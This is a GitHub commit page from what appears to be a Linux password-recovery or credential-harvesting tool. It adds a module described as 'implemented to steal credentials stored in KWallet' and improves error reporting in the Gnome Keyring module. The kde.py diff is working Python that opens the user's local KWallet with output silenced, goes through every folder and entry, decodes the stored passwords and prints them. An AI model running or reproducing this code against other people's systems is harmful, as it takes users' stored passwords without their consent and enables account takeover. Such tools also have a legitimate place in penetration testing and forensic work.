Skip to content

Commit

Permalink
1- kde module implemented to steal credentials stored in KWallet
Browse files Browse the repository at this point in the history
2- Print the error when an error occurs in the Gnome Keyring module
  • Loading branch information
quentinhardy committed May 10, 2015
1 parent c76c305 commit 6a02a85
Show file tree
Hide file tree
Showing 3 changed files with 53 additions and 13 deletions.
7 changes: 4 additions & 3 deletions Linux/src/config/manageModules.py
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
# keyring
from softwares.wallet.gnome import Gnome
from softwares.wallet.kde import KDE
from softwares.wallet.kde import kde
# browsers
from softwares.browsers.mozilla import Mozilla
from softwares.browsers.opera import Opera
Expand Down Expand Up @@ -41,6 +41,7 @@ def get_modules():
Pidgin(),
SQLDeveloper(),
Squirrel(),
Wifi()
Wifi(),
kde()
]
return moduleNames
return moduleNames
4 changes: 2 additions & 2 deletions Linux/src/softwares/wallet/gnome.py
Original file line number Diff line number Diff line change
Expand Up @@ -62,6 +62,6 @@ def run(self):
print_output('Gnome keyring', pwdFound)
else:
print_debug('WARNING', 'The Gnome Keyring wallet is empty')
except:
print_debug('ERROR', 'An error occurs with the Gnome Keyring wallet')
except Exception,e:
print_debug('ERROR', 'An error occurs with the Gnome Keyring wallet: {0}'.format(e))

55 changes: 47 additions & 8 deletions Linux/src/softwares/wallet/kde.py
Original file line number Diff line number Diff line change
@@ -1,11 +1,50 @@

# https://github.com/gaganpreet/kwallet-dump/tree/master/src
# check avec variable d'env
# GNOME_KEYRING_CONTROL => vide ou non

import os, sys
from config.header import Header
from config.write_output import print_debug, print_output
from config.moduleInfo import ModuleInfo

class KDE():
class kde(ModuleInfo):
def __init__(self):
options = {'command': '-k', 'action': 'store_true', 'dest': 'kwallet', 'help': 'KWallet'}
ModuleInfo.__init__(self, 'kwallet', 'wallet', options)

def kwallet(self):
Header().title_debug("Kwallet")
def run(self):
Header().title_debug("KWallet")

if os.getuid() == 0:
print_debug('INFO', 'Do not run with root privileges)\n')
return
try:
from PyKDE4.kdeui import KWallet
from PyQt4.QtGui import QApplication
pwdFound = []
app = QApplication([])
app.setApplicationName("KWallet")
#Get the local wallet
f = open(os.devnull, 'w')
stdoutBackup = sys.stdout
stderrBackup = sys.stderr
sys.stdout = f
sys.stderr = f
wallet = KWallet.Wallet.openWallet(KWallet.Wallet.LocalWallet(), 0)
#sys.stdout = stdoutBackup
#sys.stderr = stderrBackup
#Walk accros folders defined in the KWallet
for folder in wallet.folderList():
wallet.setFolder(folder)
entries = dict()
#Get entries for this folder
for entry in wallet.entryList():
values = {}
entries[entry] = wallet.readEntry( entry )
values["Folder"] = folder
values["Entry"] = entry
values["Password"] = (entries[entry][1].toHex().data()).decode('hex').decode('utf-8')[5:]
if len(values) != 0:
pwdFound.append(values)
# print the results
print_output('Gnome keyring', pwdFound)
except Exception,e:
print_debug('ERROR', 'An error occurs with KWallet: {0}'.format(e))

#By Quentin HARDY

0 comments on commit 6a02a85

Please sign in to comment.